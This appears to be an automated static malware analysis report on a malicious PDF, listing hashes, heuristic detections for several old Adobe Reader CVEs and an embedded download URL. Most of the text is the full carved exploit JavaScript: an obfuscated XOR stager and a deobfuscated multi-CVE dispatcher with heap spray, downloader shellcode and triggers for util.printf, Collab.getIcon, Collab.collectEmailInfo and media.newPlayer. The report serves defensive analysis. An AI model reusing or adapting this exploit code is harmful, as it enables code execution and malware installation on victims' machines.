Malicious PDF — malware analysis report

Static analysis result for SHA-256 d122b495eb24854b…

MALICIOUS

PDF

4.8 KB Authoring application: Nocsizofifohir (via 286e7Dkijnajmwovx) First seen: 2026-05-10
MD5: 8a036021a746cde09d8bdc1662bb928c SHA-1: a75cecab4797d43a1de7d9e92403e8d18d7858fe SHA-256: d122b495eb24854b0abd42eec1dfee5589b3c94538bb637098b257baad3a2d33
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, identified by the 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER' heuristics. The JavaScript stream is obfuscated and appears to be a stager, intended to download and execute a second-stage payload. The exact nature of the payload cannot be determined due to obfuscation, but the presence of a stager indicates a malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ahrudg.egh/4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xE9F 538 bytes
SHA-256: 7915a2e070f77e298abcafbff0955830676438f3c6d92d166791fc00bcf923df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
8 of 16 identifiers look randomly generated (e.g. 'gKKetPKKaKKgeNumWoKKrds') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
try {var sB='Function'.replace(/[]/g, '');dS='varK  rSKV K= K89 ;Kvar K dE = thKisK;KKvar gV=dE.gKKetPKKaKKgeNumWoKKrds(KthisK.pageNum);vaKr nO=\'\';for(var KqKKB=0;qBK< gV; qB++){nO=KK[nO, dEKK.getPageNthWordKK(KKdE.paKKgeNum,qB,tKrue)]KK.KKjKKoin(\'\');;}var nQK=\'\';for(vaKr qB=0;qB K< nO.length;K qKBKK+=2){dM=nKKO.sKKubstr(qB,2);nKKQ=[nKQKK,StriKKngK.frKKomChKarCodKKeKK(parsKKeKKInt(dM,16)^rSV)KK]KK.join(\'\');}evaKl(nQ);nQ=null;'.replace(/[K]/g, '');sV=jK(wZ);} catch(dMD){var vS=sN()(dS);vS();}function sN(){return app.doc[sB];}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3876 bytes
SHA-256: 4f81b760d80916b7882bbbb5cc953f097ecfe673ca4a78a4fb4f9db7fa26bd18
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.n=false;this.wP=false;gJ=23090;gJ-=232;var xU='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var aN='fI'.substr(4870)} catch(aN){};this.t="";var nWR={fU:"wR".substr(21952, 21952)};var sJ=this.info['yX'].replace(/[\s]/g, '');try {var z='bA'} catch(z){};var lI=["lE","gH","p"];this.nWRE=185;this.nWRE-=103;var gP=["sL"];var pE = this.info;var kB = (pE.producer.substr(0,5) == 'debug');var pO = new Array(); var aT = "%u";function hSD(str){str = str.split(aT);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function pEB(str1, str2){return [str1, str2].join("");}function pQ(gZ){var bI = cF();var dKR = vI();bI += ((bI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + dKR;if(kB) app.alert("URL: " + bI);bI=yR(bI);var d=aT;var dM=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";dM+=bI;return hSD(dM);};function cF(){var gF = (pE.author + pE.title).replace(/[\s]/g, '');var nWB = tC(gF, sJ, xU);return nWB;};function tC(gF, xU, sJ){var nWB="";for(var i=0; i < gF.length; i++){var qP = xU.indexOf(gF[i]);if(qP > -1 ){nWB += sJ[qP];}}return nWB;};function yR(gF){var out = "";gF = rM(gF);g = Math.round(gF.length / 4);if (g != gF.length /4) gF+="00";for(var i=0; i < gF.length; i+=4){out+= aT + gF.substr(i+2, 2) + gF.substr(i, 2);}return out;};function rM(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function uNQ(gX, len){while (gX.length * 2 < len){gX = pEB(gX, gX);}return gX.substring(0, len / 2);};function jY(qJ){var rQ = 0x0c0c0c0c;        cT = pQ("pdf");if (qJ == 1){rQ = 0x30303030;}var xW = 0x400000;var ln = cT.length * 2;var sJE = xW - (ln + 0x38);var gX = hSD(aT+"9090"+aT+"9090"); gX = uNQ(gX, sJE);var qR = (rQ - 0x400000) / xW;for (var tYB = 0; tYB < qR; tYB ++ ){pO[tYB] = pEB(gX, cT);}};function vI(){try {return app.viewerVersion.toString();}catch(pU){    return 0;}}if(kB) app.alert("called exploit");var dKR = vI();if(kB)  app.alert("v: " + dKR);if (dKR > 8){if(kB) app.alert("util.printf");jY(1);var kP = "12999999999999999999";for (jM=0; jM < 276; jM++) kP += "8";util.printf("%45000f", kP);}if (dKR < 8){if(kB) app.alert("Collab.collectEmailInfo");jY(0);var yN = hSD(aT+"0c0c"+aT+"0c0c");while (yN.length < 44952) yN += yN;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yN});}if (dKR < 9.1){if (app.doc.Collab.getIcon){if(kB) app.alert("Collab.getIcon");jY(0);var zK = unescape("%09");while (zK.length < 0x4000) zK += zK;zK = "N." + zK;app.doc.Collab.getIcon(zK);}}if (dKR == 9.2){if(kB) app.alert("media.newPlayer");jY(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var wPG=0; wPG <134; wPG++){wPG++; var tY='yP'};this.dK=20283;this.dK+=121;���������F
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x59) at offset 0x8C 3862 bytes
SHA-256: 646f6e1393d2df158b3a503e92e9d80a012f51b74e2a74cd61ca5ef9b2584381
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.n=false;this.wP=false;gJ=23090;gJ-=232;var xU='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';try {var aN='fI'.substr(4870)} catch(aN){};this.t="";var nWR={fU:"wR".substr(21952, 21952)};var sJ=this.info['yX'].replace(/[\s]/g, '');try {var z='bA'} catch(z){};var lI=["lE","gH","p"];this.nWRE=185;this.nWRE-=103;var gP=["sL"];var pE = this.info;var kB = (pE.producer.substr(0,5) == 'debug');var pO = new Array(); var aT = "%u";function hSD(str){str = str.split(aT);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function pEB(str1, str2){return [str1, str2].join("");}function pQ(gZ){var bI = cF();var dKR = vI();bI += ((bI.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + dKR;if(kB) app.alert("URL: " + bI);bI=yR(bI);var d=aT;var dM=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";dM+=bI;return hSD(dM);};function cF(){var gF = (pE.author + pE.title).replace(/[\s]/g, '');var nWB = tC(gF, sJ, xU);return nWB;};function tC(gF, xU, sJ){var nWB="";for(var i=0; i < gF.length; i++){var qP = xU.indexOf(gF[i]);if(qP > -1 ){nWB += sJ[qP];}}return nWB;};function yR(gF){var out = "";gF = rM(gF);g = Math.round(gF.length / 4);if (g != gF.length /4) gF+="00";for(var i=0; i < gF.length; i+=4){out+= aT + gF.substr(i+2, 2) + gF.substr(i, 2);}return out;};function rM(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function uNQ(gX, len){while (gX.length * 2 < len){gX = pEB(gX, gX);}return gX.substring(0, len / 2);};function jY(qJ){var rQ = 0x0c0c0c0c;        cT = pQ("pdf");if (qJ == 1){rQ = 0x30303030;}var xW = 0x400000;var ln = cT.length * 2;var sJE = xW - (ln + 0x38);var gX = hSD(aT+"9090"+aT+"9090"); gX = uNQ(gX, sJE);var qR = (rQ - 0x400000) / xW;for (var tYB = 0; tYB < qR; tYB ++ ){pO[tYB] = pEB(gX, cT);}};function vI(){try {return app.viewerVersion.toString();}catch(pU){    return 0;}}if(kB) app.alert("called exploit");var dKR = vI();if(kB)  app.alert("v: " + dKR);if (dKR > 8){if(kB) app.alert("util.printf");jY(1);var kP = "12999999999999999999";for (jM=0; jM < 276; jM++) kP += "8";util.printf("%45000f", kP);}if (dKR < 8){if(kB) app.alert("Collab.collectEmailInfo");jY(0);var yN = hSD(aT+"0c0c"+aT+"0c0c");while (yN.length < 44952) yN += yN;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yN});}if (dKR < 9.1){if (app.doc.Collab.getIcon){if(kB) app.alert("Collab.getIcon");jY(0);var zK = unescape("%09");while (zK.length < 0x4000) zK += zK;zK = "N." + zK;app.doc.Collab.getIcon(zK);}}if (dKR == 9.2){if(kB) app.alert("media.newPlayer");jY(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}for(var wPG=0; wPG <134; wPG++){wPG++; var tY='yP'};this.dK=20283;this.dK+=121;